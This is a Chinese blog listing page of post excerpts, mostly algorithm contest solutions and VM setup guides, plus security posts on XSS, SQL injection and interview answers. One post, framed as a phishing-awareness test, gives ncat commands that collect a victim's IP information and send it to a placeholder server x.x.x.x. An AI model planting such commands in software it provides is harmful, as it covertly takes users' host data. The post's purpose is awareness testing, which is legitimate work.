- 博客(181)
- 资源 (5)
- 收藏
- 关注
原创 山石网科面经(附参考回答)
吾有一友…base地:福州职位:驻场安服工程师走在上班路上,突然就接到了面试官的电面。过程二十几分钟,没有事先约好时间,面试官没提,没自我介绍就直接开始了。大概问的内容如下:1.xss、ssrf漏洞利用,xxe、反序列化漏洞原理和利用xss漏洞大概说了一下 cookie劫持、键盘记录器、模拟登录、点击劫持、获取浏览器或插件版本信息进一步利用,ssrf就说了主机探测、端口扫描,xxe和反序列化平时遇到的少,没回答好。参考回答:xss漏洞利用:网络钓鱼,盗取账号密码、cookie劫持、刷流量,SEO
2022-04-17 21:48:04
4430
1
原创 SQL注入攻击介绍
SQL注入攻击介绍一、SQL注入攻击简介SQL注入攻击是指,后台数据库操作时,如果拼接外部参数到SQL语句中,就可能导致欺骗服务器执行恶意的SQL语句,造成数据泄露、删库、页面篡改等严重后果。按变量类型分为:数字型、字符型;按HTTP提交方式分为:GET注入、POST注入、Cookie注入;按注入方式分为:报错注入、盲注(布尔盲注、时间盲注)、堆叠注入等等。二、SQL注入分类按变量类型分类:如SQL语句为select *from user where param=1(数字型)、select *fr
2022-03-30 23:33:06
30539
5
原创 XSS跨站脚本攻击介绍
一、XSS漏洞简介 XSS(Cross Site Script)即跨站脚本,攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID等。总而言之,前端能做的事情它都能做到。XSS可分为反射型,存储型和DOM型。
2021-12-05 21:49:01
5516
原创 如何防止社工钓鱼——软件伪造
目的:通过简单的软件伪造,验证是否有防范社工钓鱼的警惕性,确认是否有被钓鱼成功的用户。首先考虑如何确认是否存在被钓鱼成功的用户,初步想法是将主机部分信息写入到文件,再使用ncat传输文件到服务器上。做法如下:# 在服务器上启动 持续接收文件的监听,将接收到的数据写到test.txtncat -lk 666 >test.txt# 钓鱼软件中,写入文件,并将文件传输到服务器上ipconfig | find /i "ipv4"> d:\Readme.txtncat x.x.x.x 6
2021-11-16 23:10:53
1036
原创 如何下载历史版本的VMware Workstation Pro
进入VMware所有产品下载页面:https://customerconnect.vmware.com/cn/downloads/#all_products向下翻至底部,能看到VMware Workstation Pro,点击“下载产品”:页面跳转至最新的VMware Workstation Pro版本的下载页,可在“选择版本”下拉栏中选择最近的版本号:下载特定版本也需要先选择版本号,点击“转至下载”,即可选择特定版本:下载需要登录账号,没有账号的需要先注册,登陆后即可下载安
2021-10-24 17:14:58
8634
原创 从CentOS安装到搭建docker tomcat教程
准备材料:VMware workstation安装包、CentOS 7Mini镜像、war包1.安装vmware下载各版本vmware workstationhttps://customerconnect.vmware.com/cn/downloads/info/slug/desktop_end_user_computing/vmware_workstation_pro/16_0网络配置VMware虚拟机下Centos7 桥接方式网络配置完整步骤_威威的专栏-优快云博客_虚拟机cent
2021-10-20 15:06:54
539
原创 HDU 1711 - Number Sequence
题目大意:序列a,序列b,判断能否在序列a中找到序列b,如果能输出位置,不能输出-1。解题思路:kmp裸题ac代码:#include #define N 1000005using namespace std;int n, m, t, T[N], S[N], Next[N];void get_Next(int a[], int len, int Next[]){ int i
2017-12-23 09:18:42
371
原创 HDU 5904 - LCIS
题目大意:求序列a与序列b的最大连续公共序列。解题思路:动态规划,a[temp]表示序列a以temp为末端的最长连续增大序列的长度。a[temp] = a[temp-1] + 1,这是由于输入序列a第一个数时,以这个数为末端的最长连续增大序列的长度肯定为1,之后序列a中的数,根据记录过temp-1的长度基础+1,如果没有记录过自然也是1,否则则是记录时的长度加1。这就是基于连续的规律。结果就根
2017-12-05 13:04:32
379
原创 SPOJ ADAQUEUE - Ada and Queue
题目大意:有四种操作,back输出队尾,去列尾;front输出队首,去队首;reverse颠倒队列;push_back N尾端插入N;toFront N首端插入N。如果操作失败,也就是队空时,希望输出队首队尾,就输出"No job for Ada?"解题思路:用双向队列,就是简单的调用函数了,颠倒时,也由一个变量标记,使正常接下来的操作尾变头,头变尾。或者模拟,队首队尾分别标记,一个方向变量
2017-12-04 22:06:05
407
原创 HDU 1556 - Color the ball
题目大意:中文题解题思路:根据差分法,做一个差分数组c[],初始为0,每操作一次,a~b则,c[a]++,c[b+1]--。sum[i]=c[1]+c[2]+...+c[i],就表示第i个气球刷了几次。ac代码:#include #include using namespace std;int main(){ int n, a, b, re[100005]; while (
2017-12-04 21:45:44
363
原创 ACdream 1073 - 雷霆战机
题目大意:中文题解题思路:根据风风的习惯,就是如果有能够升一星的就选能升一星的最低经验球,否则就选经验最大的使用。看懂以后就明白了,先排序,然后用贪心模拟风风的做法。ac代码:#include #include #include #include using namespace std;int main(){ int n, level[4], ex[1005], vis[
2017-12-04 21:44:16
458
原创 HDU 3248 - Strange Clock
题目大意:一个钟,时针初始指向三点,设此时为0°,时针逆时针转动x°,问此时时针指向几点或指向几点到几点之间。ps没有十二点。解题思路:度数对30取整,取整后乘30与原度数一致也说明指向几点,否则为几点到几点之间。再处理一下((3-取整结果+12-1)%12) 以及12点钟的情况差不多就解决了。ac代码:#include using namespace std;int main(
2017-12-04 21:41:38
467
原创 HDU 1166 - 敌兵布阵
题目大意:中文题解题思路:因为数据量比较大, 普通暴力算法肯定会超时,采用线段树或者树状数组,这里用树状数组解答。树状数组的基本入门我是看了这个博客的还算挺清楚的,一个地方可能是我理解偏差,lowbit(x)计算的2*k代表的应该是,二进制下从最低位往最高位找出现的第一个1代表的数的大小。看过以后就很清晰了ac代码:#include #include using namespace
2017-12-01 21:07:20
292
原创 HDU 5916 - Harmonic Value Description
题目大意:有t个样例,每个样例,输入n和k,其中n代表一段序列为1,2,3...n的标准序列,k代表第k小的序列。输出这个序列,序列的值根据公式计算,公式的意思为每相邻两个数的最大公约数的累积和。解题思路:标准序列必然为最小序列且值为n-1(同值序列不唯一),易发现相邻的奇数最小公约数也为1,而相邻的偶数最小公约为为2,根据题目又发现2k≤n,也就是所可能求最大的序列的值为n+2k-2,而每次
2017-11-30 20:08:11
311
原创 HDU 5914 - Triangle
题目大意:有t个样例,每个样例输入一个n,表示有编号1~n根木棒,每根木棒长度与编号相同,问最少去掉几根木棒能使得剩余的木棒不能组成三角形。解题思路:斐波那契数列,数列中任意取三根都构不成三角形,根据其定义公式,已经构成三角形的条件可证。且这就是剩余最优的情况。例如:(3:1,2,3其中1,2,3都在数列内,所以为3-3=0;7:其中1,2,3,5都在数列内,所以7-4=3),打表做。ac
2017-11-30 19:37:18
335
原创 HDU 5912 - Fraction
题目大意:输入n,输入a1,a2,a3...an。输入b1,b2,b3....bn。输出按公式的计算结果。解题思路:用递归,初始化a0 = 0,从最下层保存分子分母,每次计算分子分母,最后进行化简。ac代码:#include using namespace std;int t, n, a[16], b[16], temp1, temp2, temp3, cnt=1;void df
2017-11-30 19:18:50
323
原创 51Nod 1096 - 距离之和最小
题目大意:中文题解题思路:把所有数排序以后,找中位数,既是所需要找到点。注意要long long 保存结果证明如下:我们可以想象现在x轴上有n个点,我们设定的目标点在最左边,那么可以算出距离总和ans。目标点往右移动1,相当于ans+左边点数-右边点数。那么目标点到达正中央(或中央两点之间)前,ans单调递减(左边点 边点>右边点)由此,目标点为中位数点
2017-11-29 17:42:54
425
原创 POJ 1511 - Invitation Cards
题目大意:有编号从一号到n号的n个点,m条路,问从一号到其他点,再从其他点回到一号,每个点都要走一次,问总路程最短多少。解题思路:因为数据量很大,用一般的dijkstra的话,二维数组也太大了,开不了。所以用spfa求。首先要学用邻接表示图,这样省空间,省时间,先看这篇博客学习一下(http://ahalei.blog.51cto.com/4767671/1391988)然后spfa的方法就是
2017-09-29 19:07:24
327
原创 HDU 1217 - Arbitrage
题目大意:有n种货币,有m家交易点,每个交易点只支持一种货币兑换另一种货币。问是否能够通过兑换货币变得更富有。解题思路:与POJ1860是类似的,用bellman_ford算法,交易只能单向交易,初始化其中某种货币为1,要更富有,松弛往大松弛。经过n次的松弛操作,如果还能继续松弛说明可以变得更富有。ac代码:#include #include #include #include
2017-09-27 07:52:00
301
原创 UVA 423 - MPI Maelstrom
题目大意:输出n,表示有n个点,完整的图为一个矩阵,相当于二维数组a[n][n]的样子,a[i][j]就是i点到j点的距离。其中只给出了下三角,x表示亮点直接不连通。输出用最短方式从1走到其他点,其中最远的距离。解题思路:dijkstra,最基本的单源点问题。ac代码:#include #include #define inf 100005using namespace std;
2017-09-24 22:23:41
298
原创 POJ 1797 - Heavy Transportation
题目大意:有t个样例,每个样例要求从1走到n,有m条路,每条路信息包括路的两端点,以及通过这段路的时间。求走到n使得走的各段路的最小值为最大的。解题思路:dijkstra,修改一下寻找的。dis[i]表示走到i各段路的最小值的最大。初始化为0,先找出距离起点最远的,用最远的进行松弛,松弛操作改变一下就可以了。ac代码:#include #include #include usin
2017-09-22 15:09:08
308
原创 POJ 1860 - Currency Exchange
题目大意:一个城市里有N种货币,编号从1~N,有M个货币交换点,每个交换点支持两种货币之间的交换,包括6个数据,第一种货币A,第二种货币B,A换成B的汇率,A换成B的佣金,B换成A的汇率,B换成A的佣金。一个人有V单位的编号为S的货币。问他是否能够通过交换点,使得自身的货币增多。交换点规则如下:A->B汇率为29.75,佣金为0.37。有100单位的A货币,则换成B有(100 - 0.39)
2017-09-06 16:05:16
261
原创 POJ 1847 - Tram
题目大意:有N个开关,第i个开关就是将第i条路转向其他路的开关。要从A到B,最少需要转几次开关。每一个开关输出第一个数K,表示这个开关可以转向K条路,第一条不需要转开关,其他的K-1条都需要转一次开关才能转换到。解题思路:数据量小,用floyd,每个开关的第一条路,权值为0,其他权值为1。最后输出A到B的最小权值即可,如果没有这样的一种方式,也就是A到B的权值为初始化的inf,则输出-1。
2017-09-06 16:03:56
278
原创 POJ 3660 - Cow Contest
题目大意:有N头牛,编号从1~N,每头牛有各自的实力,他们之间比了M场,实力强的总会获胜。现在按实力排名,你能确定有几头牛的排名。解题思路:要确定一头牛的排名,说明要知道他跟除他外的所有牛的比赛结果。因为N最多100,数据量不大。用floyd传递闭包解。ac代码:#include #include using namespace std;int n, m, w[105][
2017-09-06 16:03:14
284
原创 POJ 3259 - Wormholes
题目大意:有一个农夫有F个农场,每个农场里有N个农田,农田之间有M条道路,每条道路都是双向的,每条道路信息包括起点,终点,从起点到终点需要的时间。有W个虫洞,进入虫洞所在的农田就会穿越到指定的农田,并且时间回到x秒以前。农夫是个狂热的时空旅行迷,他想知道他能否借助虫洞碰到他自己。解题思路:floyd是可以ac的,但是稍不限制就会超时。用bellman ford的算法,任意一个起点出发,虫洞
2017-09-06 16:02:42
327
原创 UVA 534 - Frogger
题目大意:有n块石头,A在第一块石头,B在第二块石头上。问,A要到B位置,他的跳跃距离至少要多少。解题思路:dijkstra,要使跳跃距离最小,也就是A到B的路径中最大的距离最小。将d[i]定义为A到第i块石头最小的跳跃距离。在松弛时修改条件就可以了。ac代码:#include #include #include #define INF 200005using name
2017-09-06 16:02:08
342
原创 POJ 3268 - Silver Cow Party
题目大意:有N头牛住在编号1~N的房子,一共有M条单向道路,每条路包括起点、终点、时间,有一天,所有牛要到编号X的房子聚会,聚会结束后要回自己房子,问所有牛中走的最远的需要走多久。所有牛都走自己所能走的最短路。解题思路:如果用floyd会超时,用两次dijkstra就可以了,第一次是所有牛从X回到自己房子的最短路,就是单源点,第二次是所有牛到X,如果把所有的路都反向来看,结果就也是从X回到
2017-09-06 16:01:18
275
原创 POJ 2387 - Til the Cows Come Home
题目大意:由1走到n的最短时间,t条路,每条路包括两个点,以及从一点走到另一点需要花的时间。解题思路:dijkstra算法。做法是这样的,首先初始化,将所有的点之间的距离初始化为INF,以及除了起点1以外的与起点的距离也初始化为INF。输入的距离与此时两点之间的距离取小更新为两点之间的距离(之后的输入可能有更短的距离),算法循环n次,每次查找一个到起点的最短距离,并标记,下次不会再取同一点
2017-09-06 16:00:42
268
原创 HDU 1198 - Farm Irrigation
题目大意:有11种水管放置的方式,给一个m*n的大农田,每块小农田有各自的水管放置方式,问至少需要多少个水源才能让所有小农田都有水流过其中的水管。解题思路:dfs将11种方式的上下左右可通表示出来,如果其某个方向的放置放置可以与其对接就进入下一层并标记。并查集方式类似,将11种方式的上下左右可通表示出来,如果其某个方向的放置放置可以与其对接就合并,最后判断有几个集合。dfs方法ac
2017-09-06 15:59:59
288
原创 CodeForces 567B - Berland National Library
题目大意:一个图书馆入口系统,可以识别进入人的id以及离开人的id。现在一段记录‘+’表示进入,‘-’表示离开,后面跟着id。问根据这个记录,推出图书馆最少可以容纳多少人。解题思路:初始容纳人数为0,如果在累积进入n人之前没有n个人离开图书馆,则图书馆的容纳人数要加一。如果进入累积n人之前有n个人离开,则容纳人数不加一。如果有人离开,判断离开的人是否之前进入的,如果是,说明不用额外记录,否
2017-09-06 15:59:18
304
原创 HDU 1856 - More is better
题目大意:给出n对朋友关系,朋友的朋友就是朋友,问最大的朋友圈有多少人。解题思路:并查集,多一个计数的数组,初始时,每个人都是个体,为1。归并时累加,查找时不用变动。多一个标记数组,标记那些编号有参与。ac代码:#include #include #include using namespace std;int n, pre[10000005], t1[100005],
2017-09-06 15:58:34
246
原创 UVA 208 - Firetruck
题目大意:输出从1走到n的所有方式。给出了不同数字之间存在道路可以走,给的数字可能超过n。解题思路:dfs+bfs。单独用dfs来找路的话会超时,需要bfs来剪枝。剪纸的方式为,从n开始找所有连通的标记一下。题目样例给的格式是假的。。。其实路径的一行之间输,每两个号之间一个空格。ac代码:#include #include #include using namespace
2017-09-06 15:58:01
277
原创 POJ 3186 - Treats for the Cows
题目大意:有n头牛排着队,每天从头或为取一只牛出来卖,能卖出的价格为牛的价值乘上这是第几天,求把n头牛卖出最多能得到多少钱。解题思路:不能用贪心,因为当存在首尾价值一样的,会出问题。用dp看题解的。。。dp[i][j]表示从头取了i个,从尾取了j个时的最大价值。所以i+jac代码:#include #include using namespace std;int valu
2017-09-06 15:56:05
332
原创 HDU 1829 - A Bug‘s Life
题目大意:有n只虫子,m对情侣,问其中是否有同性恋,一般虫子异性恋。解题思路:与食物链那题有些相似,但又比那题简单许多。因为只有两种关系了,0为同性,1为异性,所以查找和合并时的关系变更尝试推一下就出来了。具体的详讲看POJ-1182ac代码:#include #include using namespace std;struct node{ int pre; int
2017-09-06 15:55:32
294
原创 HDU 1325 - Is It A Tree?
题目大意:判断根据关系能否建成一棵树。解题思路:,与HDU1272一致,就改动一下输出内容,因为一棵树的子节点不可能有多个父节点,一个集合的最高级就默认为树的根,如果有多个集合或其中有节点的关系之前被确认过,也就是已经成为某个节点的子节点以后就不能在成为其他的子节点。ac代码:#include #include using namespace std;int flag,
2017-09-06 15:54:54
292
原创 HDU 1272 - 小希的迷宫
题目大意:中文题解题思路:并查集,如果输入的两个点的关系之前已经确定而在一个集合里了,就说明出错了,造成多个通路可以到达,只输入0 0要是Yes,且要保证意两个房间有且仅有一条路径。也就是最后都在一个集合内。ac代码:#include #include using namespace std;int flag, n, m, pre[100005], vis[100005]
2017-09-06 15:54:22
260
原创 POJ 1182 - 食物链
题目大意:中文题。解题思路:这题只有一个样例,如果按文件结束跳出循环的话就WA。做法是这样的将每只动物定义为一个结构体,结构体包括了此动物的上级,以及与上级的关系(0:同类,1:被吃,2:吃上级)。初始时,所有动物的上级是自身,与上级都是同类。前两个条件很容易判断不说了,最后一个条件与前面的关系有矛盾才是重点。有矛盾的情况分两种判断,一:两动物归为同类时有矛盾;如果两只动物的最上级
2017-09-06 15:53:09
274
原创 HDU 1213 - How Many Tables
题目大意:邀请n个人,要几张桌子,桌子特别大,多少人都坐的过。同一张桌子必须都是朋友,朋友的朋友也是朋友。解题思路:与HDU1232几乎是一样的。ac代码:#include #include using namespace std;int t, n, m, pre[1005], t1, t2;set int>se;int find(int x){ int r=x
2017-09-06 15:52:29
281
原创 POJ 2236 - Wireless Network
题目大意:有n台电脑编号从1~n,都报废了,每台电脑有个坐标,如果两台电脑都是好的,他们距离小于d就能通讯了。有两种操作,O x表示修x号电脑,S x1 x2表示问你x1和x2能不能间接或直接的取得通讯。解题思路:O和0傻傻分不清。。。并查集解,每修好一台电脑,就去尝试找可以通讯的电脑(同样未报废)。pre[i]=0表示电脑报废的。ac代码:#include #include
2017-09-06 15:51:47
312
原创 POJ 1611 - The Suspects
题目大意:有编号为0~n-1的n个人,其中编号0中了SARS,如果跟他同一组就也会得病,问一共有多少人得病。输入m组,每组的成员。只有有同一个组员,则两个组是同一个组。解题思路:并查集基础,只是因为0号得病,所以0号作为最上级的话便于查找,所以在合并时要考虑是否其中某个的上级为0,如果有,则合并时注意将另一个的上级的上级改为0。ac代码:#include using name
2017-09-06 15:51:05
250
Oracle课程设计-购物平台.7z
2021-01-06
网络安全原理与技术——文本数字水印的设计与实现
2021-01-06
学生成绩管理程序(shell版)
2019-02-16
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人